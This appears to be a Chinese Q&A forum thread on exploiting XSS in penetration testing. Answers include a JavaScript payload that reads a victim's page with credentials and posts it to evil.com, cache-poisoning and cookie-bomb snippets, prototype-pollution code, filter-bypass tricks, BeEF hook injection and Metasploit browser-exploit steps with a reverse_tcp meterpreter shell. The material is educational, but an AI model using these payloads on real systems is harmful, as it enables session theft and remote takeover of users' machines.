怎么利用xss渗透测试

2021-01-15 15:51发布

4条回答

0x00 前言

某日,某位小伙伴在微信上发我一个问题,如何利用已知的存储型XSS漏洞在后渗透测试中扩大战果,如RCE?想来这是个很值得思考的一个问题,故有此文。

0x01 分析

首先分析一下问题的题干:

  • 存储型XSS

  • 后渗透利用

首先整理一下可能的思路:

  • 思路一:利用浏览器的漏洞来达到代码执行的效果

  • 思路二:利用浏览器的内置功能直接执行系统命令,如:IE的ActiveX

  • 思路三:利用XSS获取NTLMhash再结合SMB Relay攻击来渗透内网

思路一的利用成本较高尤其是当下的浏览器想找到一个好用的RCE漏洞不是难么容易,放弃!

思路二的利用局限性很大,尤其是IE的ActiveX功能由于安全性问题默认都是Disable的,放弃!

那么现在就剩下思路三了,当然这也是今天这篇文章想要重点探讨的一个方法。

众所周知,在内网渗透里的一个常见步骤就是获取内网中主机的NTLMhash,从而用来离线破解可能的弱密码或者利用Pass The Hash攻击,其实还有种方法是SMB Relay,相关的利用文章有很多,具体可以参考如下,这里就不在赘述。

  • https://blog.skullsecurity.org/2008/ms08-068-preventing-smbrelay-attacks

那么如何通过XSS来获得NTLMhash呢?

其实原理很简单,Windows系统上只要某个应用可以访问UNC路径下的资源,系统就会默认发送NTLMhash至UNC服务器,比如如下可行的方法:

  • https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

  • https://cqureacademy.com/blog/penetration-testing/smb-relay-attack

  • https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python

XSS的fuzz payload字典

CORS

CORS(corss orgin request sharing)
属于浏览器特性,用来实现跨域请求的。
https://medium.com/@baphemot/understanding-cors-18ad6b478e2b
1.盗取httponly cookie
2.缓存投毒
3.cookie炸弹
4.水坑攻击

盗取httponly cookie

设置httponly:
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);   //php
当网站使用了httponly的时候,会限制js读取cookie.
利用cors窃取cookie的条件:
服务器端进行设置:
  设置Access-Control-Allow-Origin:xxx.com时
  设置了Access-Control-Allow-Credentials:true
然后再寻找一个存在xss的并且允许跨域的域名来进行攻击。


主要利用代码就是一个XHR的一个异步请求。其中最重要的就是一定要设置 xhr1.withCredentials = true; 这样才会在跨域请求的时候带上cookie.

[removed]
function loadXMLDoc()
{
    var xhr1;
    var xhr2;
    if(window.XMLHttpRequest)
    {
        xhr1 = new XMLHttpRequest();
        xhr2 = new XMLHttpRequest();
    }
    else
    {
        xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
        xhr2= new ActiveXObject("Microsoft.XMLHTTP");
    }
    xhr1.onreadystatechange=function()
    {
        if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
        {
            var datas=xhr1.responseText;
            xhr2.open("POST","http://www.evil.com/save.php","true");
            xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            xhr2.send("T1="+escape(datas));      
        }
    }
    xhr1.open("GET","http://www.vuln.com/secrect.php","true") //request user page.
    xhr1.withCredentials = true;        //request with cookie
    xhr1.send();
}
loadXMLDoc();
[removed]

一个实例:https://blog.csdn.net/weixin_41679427/article/details/97536860

缓存投毒

用户在对资源进行请求的时候,根据缓存机制,会在缓存中进行查询,如果命中缓存,就会直接返回缓存的资源。如果是资源不存在或者过期的话,就会重新对服务器发起资源的请求。
xss缓存投毒实现主要是存在可控的,能输出的非缓存键。可以构造payload,诱使用户点击,进行投毒。这样用户在访问的时候,每次都会命中该缓存,造成攻击。
类似如下的请求和响应:(X-Forwarded-Host为可控的点)
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a.">alert(1)

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
alert(1)"/> 

确定投毒时间:
1.疯狂发包,服务器的缓存一旦过期就会中毒。(有点憨憨)
2.根据缓存存活的时间计算缓存到期时间。

关于缓存的一点东西:
Web 缓存大致可以分为:服务器端缓存(代理服务器缓存、CDN 缓存)、浏览器缓存。
缓存键:类似于缓存的特征值,用来定位缓存

浏览器缓存机制:
当用户对资源进行请求时,浏览器会首先进行查找是否命中缓存,没有的话就会像服务器发送请求。浏览器每次拿到返回的请求结果都会将该结果和缓存标识存入浏览器缓存中。
缓存位置:
    Service Worker(https)
    Memory Cache
    Disk Cache
    Push Cache(HTTP/2)

强制缓存:Expires(http1.0)和Cache-Control(http1.1)
协商缓存:Last-Modified,ETag和If-None-Match(服务器添加的缓存标识)

cookie炸弹

cookie炸弹是原理是由于服务器在对请求进行解析时,无法解析过长的cookie,导致请求失败。如果被攻击页面存在xss的话,就可以注入超长的cookie,使页面无法访问。
function setCookie(name,value)
{
    var Days = 30;
    var exp = new Date();
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    [removed] = name + "="+ escape (value) + ";expires=" + exp.toGMTString();

    
    var strsec = getsec(time);
    var exp = new Date();
    exp.setTime(exp.getTime() + strsec*1);
    [removed] = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}

//每个cookie的长度不能超过4kb,具体的注入的cookie长度值没有具体统计过。测试中百度使用两个cookie无法响应。

水坑攻击

水坑攻击的主要方式是想要通过利用存在xss的旁站,来进行对主站的攻击。
条件:
1.没有设置x-frame-options:deny
2.存在xss的子域名
3.在引入iframe时要设置document.domain("xxx.com")//主站和子域名都需要设置

攻击流程:
自己构造一个页面作为顶级窗口---》利用存在xss漏洞的子域名,创建iframe标签,引入想要攻击的页面---》用户打开触发,完成攻击

rpo

rpo(relative path overwrite)相对路径覆盖
主要是由于web服务器和浏览器解析机制不同
eg. 在www.aaa.com目录下存在1.js和a.html。其中a.html调用了js文件,使用的是相对路径:src=1.js
     在www.aaa.com/a/ 下也存在一个1.js.
     当在浏览器中输入www.aaa.com/a/../a.html时。服务器会正常解析 / ,并且返回www.aaa.com/a.html
     但是在客户端中并不会对/进行解析,当a.html在调用js时,此时的相对路径为www.aaa.com/a/    就会调用该目录下的js


apache服务器不会对2f%进行解析。在nginx下可以对2f%进行解析。

利用条件:
1.niginx服务器
2.调用了js或者css使用了相对路径
3.有能够上传js/css的地方

原型链污染

关于原型链

首先说下什么是原型。
function Dog(name, color) {
    this.name = name
    this.color = color
    this.bark = () => {
        console.log('wangwang~')
    }
}

let dog = new Dog('dog1', 'black')
dog.bark()

可以看到上面定义了一个函数Dog,然后创建一个对象dog.但是如果每次创建对象,都会重新创建bark()这个方法,然后再调用。就感觉很麻烦。为什么不把这个方法单独取出来,每次直接调用就行了。
所以再js中,就会用到原型这个东西来简化操作。
总结一下网上对原型的解释:
1.每个构造函数都有prototype这样一个属性,来指向的就是他的原型对象。例如Dog.prototype 
2.每个对象也有一个属性__proto__ 来指向它的原型对象。例如dog.__proto__ 
3.Dog.prototype ===dog.__proto__     这样两个是相等的,指向同一原型对象。
4.所有的对象都是由它的原型对象继承的,所有的对象都能找到原型对象存在。  所有原型的终点都是Objec.prototype,而且Objec.prototype=NULL
6.每个原型对象都有一个 constructor 属性,指向相关联的构造函数。实例对象也可以访问constructor 属性指向其构造函数。  dog1.__proto__.constructor===Dog.prototype.constructor===Dog()      

原型差不多就是这个意思,再讲一下原型链。
当调用对象中的一个方法的时候,如果这个方法不存在的话,就会往它的原型中进行寻找,如果原型中也不存在的话,就会往原型的原型中进行寻找。。。。。这样一直寻找,直到原型为NULL。所以这样就构成了一个原型链。

将上面的代码修改一下,
function Dog(name, color) {
    this.name = name
    this.color = color
}

Dog.prototype.bark = () => {
    console.log('wangwang~')
}

所以每次创建的对象之后,想要调用bark()这个方法,直接 对象.bark()  就可以了。

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

关于原型链污染

原型链污染,就是对某个对象的原型进行污染,那么所有继承这个原型的对象都会被污染。

举个最简单的例子:
function Test1(){
 this.a=1 
}

function Test2(){
 this.b=2 
}

let t1 = new Test1()
let t2 = new Test2()

t1.__proto__.__proto__.c=3
console.log(t2.c)
console.log(t1.c)

在这个例子中,t1.__proto__.__proto__==object.所以所有继承object的对象都会被污染。t2虽然本身没有c这个属性,但是在往原型上进行查找时,找到了c这个对象。所以有了返回值。

要造成原型链污染的条件:
1.能够对prototype进行操作
2.能够进行json解析

怎么样才能对proto进行操作呢,首先需要找到一个可以控制的键名,然后将键名改为进行污染的原型 __proto__,可以一直往上污染,最好污染到object.因为所有的对象都继承与这个原型。
js里面merge函数可以对数组进行操作。用于合并数组。
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let o1 = {"a":{"a1":2}}
let o2 = JSON.parse('{"a": {"a1":1}, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

这个函数的大概意思。新建两个数组对象,然后将会对象进行合并.一定要注意使用JSON.parse,这样才会将__proto__当作是一个键名,与o1中的__proto__进行合并。造成污染。

https://www.freebuf.com/articles/web/200406.html

xssi

浏览器记住密码机制利用

漏洞原理:
当用户在某些网站登录的时候,浏览器会提示是否记住密码,如果选择记住的话,下次在访问登录页面的时候,浏览器会自动填充密码。
漏洞利用:
1.在同源的网站下寻找一处xss
2.伪造登录表单,等浏览器自动填充之后获取表单中的数据进行操作。

简单的测试代码:



ps:只在firefox中利用成功

渗透测试之XSS漏洞详细使用教程【攻防演练】

爱梦 - 拿来吧你
4楼 · 2021-11-05 09:18

xss之渗透测试

跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式,很多人对于xss的利用大多停留在弹框框的程度,一些厂商对xss也是不以为然,都认为安全级别很低,甚至忽略不计,本文旨在讲述关于跨站脚本攻击的利用方式,并结合实例进行分析。

XSS (cross-site script) 跨站脚本自1996年诞生以来,一直被OWASP(open web application security project) 评为十大安全漏洞中的第二威胁漏洞。也有黑客把XSS当做新型的“缓冲区溢出攻击”而JavaScript是新型的shellcode20116月份,新浪微博爆发了XSS蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重。XSS最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。

由于web应用程序对用户的输入过滤不严产生的。攻击者利用网站漏把恶意的脚本代码注入到网页中,当用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。

 

危害——
网络钓鱼,包括盗取各类的用户账号
窃取用户cookie
窃取用户浏览请回话
强制弹出广告页面、刷流量
网页挂马
提升用户权限,进一步渗透网站
传播跨站脚本蠕虫等等

 

 

Xss脚本示例——

xsx test

[removed]alert(“xss”)[removed]

这段代码使用alert函数来执行打开一个消息框,消息框中显示xss信息,使用xss弹出恶意警告框,代码为:

escript>alert(“xss") [removed]

XSS输入也可能是htm代码段,如果使网页不停的刷新,代码为

嵌入其他网站链接的代码为:

< ifame width =0 height =0>

 

 

Xss分类——

反射型xss(一次性)

 

存储型xss(持久有效)

反射型:

反射型XSS脚本也称作非持久型、参数型跨站脚本、这类型的脚本是最常见的也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中
如:http://www.xx.com/search.php.?key=">[removed]alert("xss")[removed]一般使用的将构造好的URL发给受害者,是受害者点击触发,而且只执行一次。

 

存储型:

存储型XSS比反射型跨站脚本更具威胁性,并且可能影响到web服务器的自身安全。此类XSS不需要用户点击特定的URL就能执行脚本,攻击者事先将恶意JavaScript代码上传或存储到有漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。

 

 

Xss常用工具——(火狐插件)

Hackebar

Live http headers

Editor cookie

 

Live HTTP Headers

该工具可以用来抓取http/https的数据连接包括get post),获取web应用程序流出的流入的数据。我们可以利用该工具发掘web应用程序中的安全漏洞。

 

Editor cookie

Cookie信息修改器

 

 

 

 

示例:

留言板盗取cookie信息

 

 

当管理审核后,弹出及有xss漏洞

 

 

去注册一个免费xss平台,然后创建一个项目,查看代码,复制到留言板上

 

然后xss免费平台就会返回内容

 

 

这个就是网站管理员cookie

 

 

绕过xss限制的几种办法

magic_quote_gpc

HEX编码

改变大小写

关闭标签

 

绕过magic_quote_gpc

magic_quotes_gpc=ONphp中的安全设置,开启后会把一些特殊字符进行轮换,比如’(

引号)转换为\’”(引号)号转换为\” \转换为\\

比如[removed] alert(“xss”);[removed]会转换为[removed] alert(\”xss\”);[removed]这样XSS就不生效了。针对开启了magic quotes_gpc的网站,可以通过javascript中的String.fromCharCode方法来绕过,可以把alert(“XSS")转换为String.fromCharCode(108,101,114,116,40 34,88,83,83,34,41)那么XSS语句就变成了[removed]String.fromCharCode(108,101,114,11640,34,88,83,83,34.,41,59) [removed]String.fromCharCode()javascri中的字符申方法,用来 把ASCI转换为字符审

 

HEX编码:

可以对语句进行hex编码来绕过XSS规则。

比如: [removed] alert("xss");[removed]

可以转换为:

[removed]

在线网站:

http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html

http://www.asciitohex.com/

 

改变大小写:

在测试过程中,我们可以改变测试语句的大小来绕过xss规则,如[removed] alert("xss");[removed]可以转换为[removed] Alert("Xss");[removed]

 

关闭标签:

[removed] alert(“xss”);[removed] < >

 

 

 

 

XSS+Beef的使用

示例1:利用beef劫持客户端浏览器

启动beef(用户名beef,密码beef

[removed]自己管理的服务器ip:3000/hook.js">[removed]把这恶意代码上传到有xss漏洞的网站

 

 

当有人访问这个网站的时候,恶意代码生效,我们返回本机beef控制台查看上线客户机

 

 

然后劫持浏览器

 

 

 

 

示例2.利用beef+msf拿用户shell(基于客户端ie6

先劫持浏览器,然后启动msf

msf > use exploit/windows/browser/ms10_002_aurora(选择漏洞模块)

msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp(选择回链)

msf exploit(ms10_002_aurora) > set SRVHOST 192.168.230.156客户机访问的地址

msf exploit(ms10_002_aurora) > set SRVPORT 7777客户机访问的端口

msf exploit(ms10_002_aurora) > set URIPATH /网页的根/

msf exploit(ms10_002_aurora) > set LHOST 192.168.230.100客户机回链,写自己的地址

msf exploit(ms10_002_aurora) > set LPORT 4444回链端口

msf exploit(ms10_002_aurora) > exploit 开始攻击

msf生成的那个连接扔beef去,让客户端访问指定的网站就会触发这个漏洞,就可以拿到客户端权限。

 

 

回车》键入sessions -i sessions -i 1shell(成功拿到客户端权限)

 

 

 

示例3.利用beef+msf拿用户shell(基于客户端使用ie789

先劫持浏览器

msf > use exploit/windows/browser/ie_execcommand_uaf

msf exploit(ie_execcommand_uaf) > show options

msf exploit(ie_execcommand_uaf) > set SRVHOST 192.168.230.156

msf exploit(ie_execcommand_uaf) > set SRVPORT 8888

msf exploit(ie_execcommand_uaf) > set URIPATH /

msf exploit(ie_execcommand_uaf) > exploit

然后把生成的这个连接扔beef里,让客户端访问,msf就有返回回链会话,就可以拿到客户端权限了

 

 

Xss漏洞扫描与留长期后门——

常用工具:

Wvs

Safe3

W3af

Vega

Xss扫描插件+burp(去下载扫描插件在导入就可以)


汽水味的小盆友
5楼 · 2021-11-05 10:28

XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)",为了不和层叠样式表(Cascading Style Sheets,CSS)混淆,所以将跨站脚本攻击缩写为XSS。XSS注入攻击的原理其实和SQL注入攻击的原理很相似,攻击者将恶意的Script代码插入到网页中,当正常用户浏览该页面时,被嵌入的恶意Script代码就会被执行,从而达到恶意攻击正常用户的目的。

XSS分类

跨站脚本注入漏洞是由于WEB服务器读取了用户可控数据输出到HTML页面的过程中没有进行安全处理导致的,用户可控数据包括url、参数、HTTP头部字段(cookie、referer、HOST等)、HTTP请求正文等。

(1)反射型XSS:攻击者输入可控数据到HTML页面中(通常是url),所以输入的数据没有被存储,只能在单次请求中生效。

(2)存储型XSS:攻击者输入可控数据到HTML页面(通常是POST表单:评论、留言板、登录框等),所以输入的数据会被存储到数据库中,由于数据经过存储,可以持续被读取出来,攻击的次数比反射型XSS多。

(3)DOM-XSS:攻击者可控数据通过JavaScript和DOM技术输出到HTML中,其实是一种特殊类型的反射型XSS,基于DOM文档对象模型的一种漏洞。

XSS危害

(1)流量劫持,利用木马修改浏览器不停的弹出新的窗口强制性的让用户访问指定的网站,为指定网站增加流量

(2)获取用户cookie信息,盗取账号(普通用户、管理员等账号)

(3)篡改、删除页面信息(钓鱼操作)

(4)配合CSRF攻击,实施进一步的攻击,控制被害人的电脑访问其他网站


相关问题推荐

  • 回答 6

    这个还是因人而异吧,看你自己对哪方面感兴趣,兴趣是最好的老师,感兴趣了才愿意钻研学习下去,简单说一下这两个学习知识方面的不同吧:软件测试岗位虽然对于从业者的知识基础要求不高,但是软件测试岗位所涉及到的知识面还是比较广的,所以软件测试人员也需...

  • 回答 5

    SQL注入漏洞的危害:1、数据库中存储的用户隐私信息泄漏;2、通过操作数据库对某些网页进行篡改;3、修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;4、数据库服务器被恶意操作,系统管理员帐户被窜改;5、数据库服务器提供的操作系统支持,让黑客得以...

  • 回答 16

    一、CISP(Certified Information Security Professional)证书中文叫注册信息安全专业人员,由中国信息安全产品测评认证中心实施的国家认证。可以说,这是目前国内对于个人来说认可度最高的信息安全人员资质,堪称最权威、最专业、最系统。根据实际岗位的不...

  • 回答 14

    渗透测试(也称为pentest)是测试移动应用程序漏洞的过程。此测试的主要目的是确保外部人员的重要数据.通过模拟黑客的思维和攻击手段,对计算机业务系统的弱点、技术缺陷和漏洞进行探查评估。经过客户授权后,在不影响业务系统正常运行的条件下,渗透人员在黑...

  • 回答 1

    网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的原因而遭受到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。主要涉及到的有:1、物理措施:例如,保护网络关键设备(如交换机、大型计算机等),制定严格的网络...

  • 回答 33

      网络安全工程师学习内容:  1、计算机应用、计算机网络、通信、信息安全等相关专业本科学历,三年以上网络安全领域工作经验;  2、精通网络安全技术:包括端口、服务漏洞扫描、程序漏洞分析检测、权限管理、入侵和攻击分析追踪、网站渗透、病毒木马防...

  • 回答 26

      学历不是问题,技术才是硬道理!只要你的技术过硬的话,你完全可以进国家安全部门去工作的。比如公安局里的网监工作,大都是九零后的电脑方面的精英。未必都是本科生。还有从社会上特招进去的。所以说,现在是拿技术说话,不是靠学历吃饭的时代了。  网...

  • 回答 16

    网络安全的知识是比较简单的,比较好入门,好多知识理论,大家都是可以听懂的,这是完全没有问题的。网络安全最终的则是实战的应用,怎么把这些理论知识运用到事件中,这些才是重中之重。所以在选择培训机构的时候,也需要尽量去找这些实践操作多的培训机构。...

  • 回答 22

      能够胜任的岗位主要有:渗透测试工程师、大数据安全工程师、信息安全工程师、安全测试工程师、安全服务工程师、安全运维工程师、系统安全工程师、服务器安全工程师、云计算安全工程师、网络安全工程师、安全分析师、渗透讲师等;  按照web渗透、内网渗透...

  • 回答 23

    一些典型的网络安全问题,可以来梳理一下:IP安全:主要的攻击方式有被动攻击的网络窃听,主动攻击的IP欺骗(copy报文伪造、篡改)和路由攻击(中间人攻击);2. DNS安全:这个大家应该比较熟悉,修改DNS的映射表,误导用户的访问流量;3. DoS攻击:单一攻击...

  • 回答 19

    运维一般是设备或者环境的搭建和维护,网络安全可以看做是防火墙

  • 回答 12

    先说说运维工程师和网络工程师的区别。运维工程师是泛指,网络工程师为特指,所以不能这么对比。你应该这么理解,网络工程师是一个人(也可以是理解成一个岗位),而运维则是他的工作内容。从工作内容上来说,运维可细分为桌面运维、网络运维、服务器运维三大...

没有解决我的问题,去提问